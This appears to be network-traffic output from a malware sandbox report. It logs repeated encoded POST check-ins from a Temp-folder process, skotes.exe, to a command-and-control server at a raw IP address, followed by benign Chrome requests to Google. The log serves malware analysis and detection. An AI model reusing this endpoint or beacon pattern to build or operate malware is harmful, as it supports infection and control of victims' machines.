Nov 16, 2024 19:28:47.263098001 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:48.178994894 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	50945	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:49.798966885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:50.704801083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	50946	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:52.219496965 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:53.123470068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	50947	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:54.755613089 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:55.693327904 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	50949	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:57.207794905 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:58.120712042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	50950	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:59.747409105 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:29:00.640363932 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:29:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	50951	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:29:02.159439087 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:29:03.086807013 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:29:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	50952	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:29:04.723476887 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:29:05.641767025 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:29:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.186.100	443	7804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:11 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 18:22:11 UTC	1266	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:11 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-2lydp-PYV9U05ggzVtxTgA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 18:22:11 UTC	112	IN	Data Raw: 33 33 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 70 65 6c 6c 62 6f 75 6e 64 20 73 6f 66 69 61 20 74 6f 6b 65 6e 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 22 2c 22 78 32 74 77 69 6e 73 20 66 6f 72 74 6e 69 74 65 22 2c 22 70 69 74 74 73 62 75 72 67 68 20 70 69 72 61 74 65 73 20 70 61 75 6c 20 73 6b 65 6e 65 73 20 63 61 72 64 22 2c 22 77 69 Data Ascii: 334)]}'["",["spellbound sofia token monopoly go","x2twins fortnite","pittsburgh pirates paul skenes card","wi
2024-11-16 18:22:11 UTC	715	IN	Data Raw: 6e 74 65 72 20 77 65 61 74 68 65 72 20 77 61 72 6e 69 6e 67 73 22 2c 22 6b 72 61 66 74 20 68 65 69 6e 7a 20 63 6c 61 73 73 20 61 63 74 69 6f 6e 20 6c 61 77 73 75 69 74 22 2c 22 68 6f 77 20 74 6f 20 74 72 61 69 6e 20 79 6f 75 72 20 64 72 61 67 6f 6e 20 6c 69 76 65 20 61 63 74 69 6f 6e 22 2c 22 6e 79 73 20 63 72 6f 73 73 20 63 6f 75 6e 74 72 79 20 63 68 61 6d 70 69 6f 6e 73 68 69 70 73 20 32 30 32 34 22 2c 22 61 6d 61 7a 6f 6e 20 62 6c 61 63 6b 20 66 72 69 64 61 79 20 64 65 61 6c 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 Data Ascii: nter weather warnings","kraft heinz class action lawsuit","how to train your dragon live action","nys cross country championships 2024","amazon black friday deals"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groups
2024-11-16 18:22:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	142.250.186.100	443	7804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:11 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 18:22:11 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 16 Nov 2024 18:22:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 18:22:11 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-16 18:22:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49705	142.250.186.100	443	7804	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:11 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIkqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-16 18:22:11 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 16 Nov 2024 18:22:11 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-16 18:22:11 UTC	360	IN	Data Raw: 33 39 38 34 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3984)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 37 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700267,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"thi
2024-11-16 18:22:11 UTC	1378	IN	Data Raw: 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4d 64 5c 75 Data Ascii: 03dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Md\u
